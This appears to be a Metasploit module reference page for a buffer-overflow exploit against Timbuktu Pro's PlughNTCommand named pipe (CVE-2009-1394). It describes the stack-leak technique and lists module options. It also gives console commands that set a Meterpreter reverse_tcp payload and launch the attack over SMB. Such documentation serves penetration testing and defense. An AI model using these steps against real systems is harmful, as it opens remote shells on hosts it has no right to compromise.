Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow
This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6 in a pretty novel way. This exploit requires two connections. The first connection is used to leak stack data using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying a large value for this argument it is possible to cause Timbuktu to reply to the initial request with leaked stack data. Using this data allows for reliable exploitation of the buffer overflow vulnerability. Props to Infamous41d for helping in finding this exploitation path. The second connection utilizes the data from the data leak to accurately exploit the stack based buffer overflow vulnerability. TODO: hdm suggested using meterpreter's migration capability and restarting the process for multishot exploitation.
Exploit Rank
- Great
Exploit Authors
- bannedit < bannedit [at] metasploit.com >
Vulnerability References
- CVE-2009-1394
- OSVDB-55436
- BID-35496
- http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809
Exploit Targets
- 0 - Automatic Targeting (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/smb/timbuktu_plughntcommand_bof
msf exploit(timbuktu_plughntcommand_bof) > show payloads
msf exploit(timbuktu_plughntcommand_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(timbuktu_plughntcommand_bof) > set LHOST [MY IP ADDRESS]
msf exploit(timbuktu_plughntcommand_bof) > set RHOST [TARGET IP]
msf exploit(timbuktu_plughntcommand_bof) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | Set the SMB service port (default: 445) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SMB::ChunkSize | The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing |
| SMB::Native_LM | The Native LM to send during authentication |
| SMB::Native_OS | The Native OS to send during authentication |
| SMB::VerifySignature | Enforces client-side verification of server response signatures |
| SMBDirect | The target port is a raw SMB service (not NetBIOS) |
| SMBDomain | The Windows domain to use for authentication |
| SMBName | The NetBIOS hostname (required for port 139 connections) |
| SMBPass | The password for the specified username |
| SMBUser | The username to authenticate as |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| SMB::obscure_trans_pipe_level | Obscure PIPE string in TransNamedPipe (level 0-3) |
| SMB::pad_data_level | Place extra padding between headers and data (level 0-3) |
| SMB::pad_file_level | Obscure path names used in open/create (level 0-3) |
| SMB::pipe_evasion | Enable segmented read/writes for SMB Pipes |
| SMB::pipe_read_max_size | Maximum buffer size for pipe reads |
| SMB::pipe_read_min_size | Minimum buffer size for pipe reads |
| SMB::pipe_write_max_size | Maximum buffer size for pipe writes |
| SMB::pipe_write_min_size | Minimum buffer size for pipe writes |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
